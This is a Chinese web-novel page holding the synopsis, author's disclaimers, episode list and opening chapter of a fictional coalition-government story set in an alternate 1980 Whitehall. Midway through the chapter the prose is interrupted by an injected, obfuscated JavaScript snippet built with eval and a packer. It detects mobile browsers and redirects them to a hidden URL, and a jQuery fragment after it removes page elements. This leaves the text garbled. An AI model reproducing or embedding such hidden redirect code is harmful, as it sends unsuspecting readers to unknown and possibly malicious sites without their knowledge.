一句话简介:白厅三人组合谋把荒诞变成秩序——偶尔也把秩序变成荒诞。
完整简介(?):
协同协调部,一个没有预算、没有实权,旨在流放麻烦人物的“镀金笼子”。
查尔斯·海德(Charles Hyde),一只政治光谱上活跃的狐狸,怀揣着改造白厅沉疴理想的大臣;阿利斯泰·卡文迪许(Alistair Cavendish),一本行走的文官守则,奉命看管“笼中困兽”的常任秘书;西里尔·埃斯利(Cyril Astley),一位谨慎周密观察者,暗自分析记录着白厅变迁的首席私人秘书。一个奇怪的三角关系就此形成。
他们收集被忽视的情报,将其铸为货币与权力;他们设计精巧的程序,将其变为武器与牢笼。他们将无数次政治灾难化解于无形,却也一次次逼近道德与本心的边缘。查尔斯的理想主义在现实中反复受挫又蜕变,阿利斯泰的理性面具下偶尔闪现一丝人性,西里尔在忠诚与良知间艰难平衡。
从精致的花瓶,到国家危机的救火队,再到幕后操控宪法改革的游戏规则制定者。DSC在三人组的共同运作下,悄然编织出一张覆盖整个大不列颠的信息与权力之网。
当权力巅峰来临,三人必须做出选择:是继续驾驭这头“利维坦”,还是亲手为它设计一个笼子?
当政治家的冲动遇上技术官僚的精密算计,当理想主义者被迫沾染权谋的尘埃,当无用成为最强大的武器。他们能否在权力的漩涡中,既达成理想,又守住本心?
“我们是在拯救这个国家,还是在为它构建一个更精致的牢笼?”
“有区别吗,大臣?”
——欢迎走进1980的白厅丛林,在这里,荒诞是秩序的面具,程序是权力的武器。
【阅读说明/避雷指南】
写在前面,给所有有缘点开的朋友:
大家好,这里是已经叠满了免责声明(disclaimer)的作者。在您决定是否要与查尔斯、阿利斯泰和西里尔这三位纸上朋友共度一段时光前,请允许我真诚地为您展示这趟旅程可能遇到的所有“路障”和“减速带”(如有发现新雷,欢迎留言补充,我会来加上):
1、这是什么(and isn’t)
A)我想,看到小说名各位应该能猜出这是一篇与《是,大臣/首相》有点关系的小说,但是其实并不多。这算是一篇借鉴了Y(P)M框架(或者说借鉴了现实白厅框架)下的,全新的背景(不确定)+全新的人物和故事的伪英政小说。
B)这是一篇因重温《是,大臣/首相》上头,试图写同人未果(实力不足,ooc到没眼看遂放弃),于是另起炉灶自嗨的气氛组练笔之作。
如果您是同好,欢迎一起玩梗(虽然不知道有没有玩起来),或许您能在这里看到熟悉的味道会心一笑(Very courageous, Minister.),如果您没看过,也完全不影响阅读,因为这是一个全新的故事,期待与您结缘。
C)一篇不确定算不算原创的文,未免出错就放衍生了,至少算衍生肯定是没错的,白厅衍生也是衍生(?)。
2、不保证专业,只保证瞎编(No,Minister.)
A)英政知识储备≈《是,大臣/首相》+《幕后危机(灵通也看了)》+《纸牌屋(没看完,英美都没看完)》+一些BBC纪录片和上下议院会议视频+几本传记/自传+少量资料。
B)文中所有政治事件、议程、法案、部门运作方式均为架空虚构,公文格式和处理方案更是我一拍脑袋的产物,请勿当真,不要较真,切勿考据。如与现实雷同之处(应该不至于撞上吧?),纯属巧合,绝无映射。
3、理智预警(低配权谋劝退ing)
A)因作者智商不高,阅历有限,政治素养不及格。不保证能写出多么高明的政治博弈,逻辑漏洞难免,深度有限。
B)如果期待看到惊心动魄、智计百出的硬核权谋,这里可能没有。您看到的更可能是……一群穿着高级西装的成年人(可能不像),用非常优雅的方式(不一定优雅),把政治对局玩成过家家。
4、语言与排版预警(眼睛不友好型劝退ing)
A)中英夹杂(严重):为了营造(自以为的)白厅氛围,文中会出现大量英文单词、短语甚至短句,我尽力不影响理解(真的吗?),如果您对此感到不适,请及时关闭。
B)文章中可能经常出现大段大段的文字,幕间部分文档体偏多(日记/备忘录/会议纪要),对手机阅读和速读爱好者可能不太友好(毕竟本人回过头看也觉得难受)。
5、英语不及格(以及政治/历史/地理等均不及格)警告
A)英语水平大约停留在对“I’m fine, thank you, and you?”有亲切感的程度。文中的英文使用全靠临时查词典、翻译软件和语感蒙蔽,语法错误、用词不当、搭配诡异是常态,欢迎捉虫(如果看完没心梗的话)。
6、为什么要发
A)之所以这篇练笔会出现在此地,是因为本人发现如果不发出来,我会不断地不断地不断地……反反复复修改已经写出的部分(已经重写了6个版本,废稿近20w字),导致练笔进行不下去。为了不集齐七龙珠【齐了orz】,决定先发布出来,强迫自己先写完,最后再修改(我知道大概还是会改orz)。
7、更新频率与阅读姿势
A)更新计划:上4休2(更新四天歇两天),逢7安息(遇到周天固定休息,顶掉4/2的位置);若出意外,当我没说。【因为拆分阅读不友好,可能改成一次发齐一集的章数,然后按章数算下一次更新的时间。】
B)写作结构:剧集化(S0xE0x),单集1–2w,发布时拆成3–4k片段,章节分割可能略诡异。建议“一集更完再看”,体验更完整。
C)写作进度:目前第一卷(注:不是目录的分卷,那个是方便切集用的,第一卷指的是S01+对应特辑)部分已写完,边修边更。全篇总字数未定;大纲里有3个可作为结局的节点,如无人问津+练笔达标,可能在任一节点收束。
8、建议关闭段评食用
A)本人可能会在段评自言自语记东西(主要是卡文修文用),可能看着有点神经,影响阅读。
B)本人很喜欢修文,会导致段评错位,会很奇怪。
总之,这就是个对英政一知半解、英语稀烂、智商平平的咸鱼作者,用优雅(自认为)文风,在架空的1980年英国白厅,幻想三人组搞点权谋、斗点心眼,顺便疯狂吐槽官僚主义的非典型文官和非典型大臣的非典型白厅大三角故事,设定和情节都是空中楼阁,图一乐(或一叹)。正文风格大概就和这篇排雷一样混乱(可能更乱)。
如果以上内容没有把您劝退,那么,欢迎来到1980年的(架空)白厅。希望我们能一起,见证协同协调部从“看起来在运转”,到“真的开始运转”的荒诞又迷人的航程。如果不喜欢,山水有相逢,我们有缘再见。
祝阅读愉快——不愉快也正常,毕竟是白厅故事。
让我们开始架空历史——
【目录】带√=已写(但可能重修)
S01E00: 《同义反复》(Tautological)√
【特辑一】《圣诞义务》(Yuletide Obligation)√
S01E01: 《信息币》(Information as Currency)√
S01E02: 《忧郁的鳕鱼》(The Melancholy Cod)√
【特辑二】《直播事故》(The Newsnight Incident)√
S01E03: 《社区中心保卫战》(Themunity Centre Defence)√
S01E04: 《汉萨德的幽灵》(The Ghost in Hansard)√
S01E05: 《南大西洋的回响》(The South Atlantic Echo)√
S02E01: 《当COBRA卡壳时》(When COBRA Stutters)
S02E02: 《幽灵舰队征用令》(The Ghost Fleet Requisition)
S02E03: 《两种真相,一场战争》(Two Truths, One War)
【特辑三】:《牛津的叛徒与俱乐部壁炉》(The Oxford Renegade and the Club Hearth)√
S02E04: 《不信任的几率》(The Probability of No Confidence)
S02E05: 《黄昏的请柬》(An Invitation at Dusk)
S03E01: 《默西塞德框架》(The Merseysidepact)
S03E02: 《认证或不认证》(To Certify or Not to Certify)
【特辑四】:《缺席的勋爵》(The Absent Lord)√
S03E03: 《G7峰会的幕后导演》(The Director Behind the Summit)
S03E04: 《利物浦账本》(The Liverpool Ledger)
【特辑五】:《协同的圣诞灯》(The Synergistic Christmas Lights)
S03E05: 《两种真相(续)| 鸽与隼》(Two Truths, Part Two | The Dove and the Hawk)
S04E01: 《红水泄漏》(The Redwater Leak)
S04E02: 《利维坦听证会》(The Leviathan Hearing)
【特辑六】:《单身主义者的法案》(The Bachelor''s Bill)
S04E03: 《笼子的设计》(Designing the Cage)
S04E04: 《两种选举,一个未来》(Two Elections, One Future)
S04E05: 《告别,大臣》(No, Minister | Yes, Prime Minister) √
后面砍。
【幕后】S00E00 窑变(Kiln-Fired)
1979年5月的大选结果,毫无意外地又是一个悬浮议会。
或许用“毫无意外(predictable)”稍显武断,更贴切的表述是“算不上意外(not entirely unexpected)”。
说它“算不上意外”,是因为工党在经历了那个被民众“亲切”——或者说,咬牙切齿——称为“不满之冬”的罢工季节后,席位缩水实属意料之中;稍显意外的是,这萎缩程度竟还算得上体面。但无论如何,工党勉强保住的301个席次终究未能过半,1974年那令人牙酸的政治僵局便又重演了一回。
历史以其特有的、略带嘲讽的笔触再次书写:保守党领袖又一次未能说服女王陛下,在议席不及工党的情形下由其组阁;工党遂再度组建了一个摇摇欲坠的少数派政府。
只是这一次,它的寿命比预想的还要短促得多。
它甚至未能撑过当年的圣诞节,便不得不在寒风凛冽的十二月再次叩响选民的大门。
选择在这个时节寻求民意裁决,其政治智慧之精妙,着实令人费解。不难想见,在投票站前排队的、瑟瑟发抖的选民们,心中该是何等“感激涕零”。
结果?
结果自然是符合逻辑的。
工党的支持率进一步滑落。
1980年1月,尘埃落定。
保守党斩获306席,工党则退守至285席。不列颠自二战硝烟散去后,第三次迎来了那熟悉的悬浮议会景象。显然,前车之鉴犹在眼前,新晋保守党党魁戴维·诺斯科特当机立断,决意与本次选举中异军突起、意外攫取27席的自由党携手。
1月18日,星期五,雾气尚未散尽,寒意依旧刺骨。
经过一番颇具效率的谈判——一种更多源于必要而非热忱的效率(An efficiency that spoke more of necessity than zeal.),或者说,别无选择(Or rather, no choice.)。保守党领袖戴维·亨利·诺斯科特阁下(The Right Honourable David Henry Northcote MP)与自由党领袖理查德·休·特里维廉阁下(The Right Honourable Richard Hugh Trevelyan MP)签署了一份联合执政协议。
一个保守党与自由党共治的内阁,就此诞生。
——
——
——
联合政府的内阁名单,无异于一场精密的配平游戏。
核心的红盒子必须牢牢握在保守党手中,主要以温和派为主,但还需要平衡党内改革派,同时自由党也需要安抚拉拢,尤其那位自由党的新星——查尔斯·海德。
四十一岁,精力旺盛,思维跳脱,在自由党内声望日隆,对保守党温和派也有几分说不清道不明的吸引力。
他需要一个合适位置,不能太重要,以免威胁保守党根基;不能太寒酸,以免激怒自由党盟友;最好,还能看起来足够光鲜。
于是,一个新的内阁部门,应运而生:
协同协调部(Department of Synergy Coordination)。
在英国政府这台精密而陈旧的机器中,DSC的诞生起初被所有文官视作是首相诺斯科特献给自由党的一尊精致的政治花瓶。
但尽管如此(But, nevertheless)——或者说,正因如此(Or rather, therefore)——它才更需要被装配(fitting out)上一个内阁部门应有的全套配置。
而一位得力的常任秘书正是每个部门的标配(standard fitting)。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294761|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
异常迅速的,一个异常年轻的名字自内阁办公厅秘书处提名,递到了首相案前。
——
——
——
唐宁街10号。
房间笼罩在冬日的暮色中,唯一的光源是桌上那盏沉重的绿罩台灯,在堆积如山的红色文件盒上投下昏黄的光晕。
诺斯科特首相的指尖轻叩着面前一份单薄的档案,纸张边缘在灯下几乎透明。
阿利斯泰·卡文迪许勋爵(Lord Alistair Cavendish),现能源部副常任秘书。
履历堪称无懈可击的典范,虽然仅积累了16年的文官经验,但他在各个核心部门以及内阁办公厅都轮岗过,担任过诸多要职,还曾被抽调至唐宁街10号效力。所有考核报告上的评价清一色标注着“卓越”(Exceptional),在文官等级的阶梯上晋升得异常迅捷,令人侧目。
只是……
他蹙眉道:“年轻,艾伯特,太年轻了。”首相的声音里混合着疲惫和对潜在政治风险的审慎,“三十八岁的常任秘书?白厅恐怕还没来得及习惯这个节奏。”
联合政府如履薄冰,任何任命都牵动脆弱的平衡。
内阁秘书艾伯特·萨克维尔爵士(Sir Albert Sackville)端坐在一旁,银白的鬓角在灯下泛着微光。
他微微前倾,声调平稳:“年轻的部门,年轻的人事,恰成一种和谐(symmetry),首相。”
“况且……”艾伯特停顿了一下,指尖精准点落在评估栏,灰蓝色的眸子抬起,“卡文迪许在评估研判、统筹规划与高效执行方面经验丰厚,尤其精于……协调斡旋。这个协同协调部,需要的正是这样一位能搭建框架,确保它至少……看起来在运转(ensure it appears to function)的掌舵人。”
首相的目光扫过“卡文迪许”这个姓氏,以及后面那个轻描淡写的“勋爵(Lord)”头衔。贵族背景在白厅文官体系里是双刃剑,既带来无形的资源,也容易招致无形的壁垒。
“背景呢?会不会……”
“一把银汤匙……”艾伯特爵士的目光没有离开档案,语气依旧波澜不惊,“唯有不断用金履历去擦拭其光泽,方能避免其刺眼(A silver spoon must be perpetually burnished by golden reports lest it cast an unwee glare.)。阿利斯泰·卡文迪许深谙此道,他的晋升,每一步都踩在功绩(merit)的基石上,而非家世的浮沙。”
他拿起钢笔,在提名文件上轻轻一点,“为稳妥起见,或许可以在常任秘书的任命前,加上‘代理 (acting)’一词?并以六个月为评估期,书面回报。”
艾伯特爵士不动声色的为这位前途无量的年轻人预留了一条体面的缓冲带,同时也是退路。这既是保护(protection),亦是试炼(probation)。
窗外白厅街路灯的光晕在厚重帘隙间明灭。
首相沉吟片刻,目光似乎穿透了幕布后的夜色,最终拿起笔,在文件末端签下名字。
墨水在纸上洇开一个微小的圆点。
阿利斯泰的档案,连同他本人的政治命运,就此被投进了煅烧着“协同部”这尊精致花瓶的窑炉。
“那就……让他试试吧,艾伯特。希望这尊‘花瓶’,至少能插上几朵……不至于太扎手的花。”
——
——
——
一间冷调的现代主义风格起居室。
线条简洁,唯一的色彩来自壁炉旁一架子精装的古典文献和墙上几幅抽象版画。
阿利斯泰穿着墨绿色的丝绒睡袍,站在窗前,望着泰晤士河对岸灯火朦胧的南岸。他刚结束一个与布鲁塞尔的加密通话,讨论北海油田开采配额的技术细节,眉宇间带着一丝疲惫。
电话铃声划破寂静。
是内阁办公厅的直线。
“卡文迪许勋爵。”对方的声音公事公办,“萨克维尔爵士指示,您已被临时借调至内阁办公厅,即刻生效。牵头负责新设部门协同协调部的框架搭建与初期运作,任命您为筹备组长(Establishment Project Director)。相关简报已通过安全渠道送达。”
电话挂断。
阿利斯泰没有立刻动作,窗玻璃映出他平静的脸。
新部门的筹备组长……在白厅心照不宣的阶梯上,这通常是通往该部门常任秘书宝座的前厅(antechamber)。
协同协调部。
一个职责模糊的花瓶?
一个镀金的牢笼?
还是一个……可供塑造的空白画布?
他走回书桌坐下,拿起钢笔,无名指上深邃的绿宝石戒指在灯光下闪过一丝内敛的幽光。
笔尖在备忘录上落下日期——18 January 1980.
接着流畅地划出字母:
“Appointed EPD for the new Dept. of Synergy Coordination.
(被任命为新成立的协同协调部筹备组长。)
“Remit: Establish framework and oversee initial operations.
(职责:建立框架并监督初期运营。)
“A sop to the coalition? A placement for Hyde? A potential gilded cage?
(联合政府的安抚手段?海德的安置之所?潜在的镀金牢笼?)”
初始职能空泛,预算受限,易被边缘化。但空泛的同时意味着它的定义可塑性强,信息枢纽潜力巨大,边缘性提供操作空间。抓住机遇的关键在于建立初始信誉与信息网络……
笔尖停顿了一息,又继续向下:
“Priority: Establish operational credibility. Build information nexus. Survive the initial phase of political irrelevance...(优先事项:建立行动可信度。构建信息网络。在政治边缘化的初期阶段生存下来……)”
漂亮的花体字逐渐填满两页纸,终于收尾:
“The kiln is fired. The vessel''s form is yet clay. Opportunity resides in perceived uselessness.(窑炉已燃,器皿之形尚未定,机遇藏于无用之名。)”
结尾的句点墨迹稍深。
阿利斯泰抬起右手,伸向一旁的电话——
他需要谨慎考量,首先是借调的文官人选……
伦敦沉沉的夜色中,白厅的齿轮又悄然咬合了一环,带着崭新的、未知的滞涩与可能。
窑火,静静燃烧。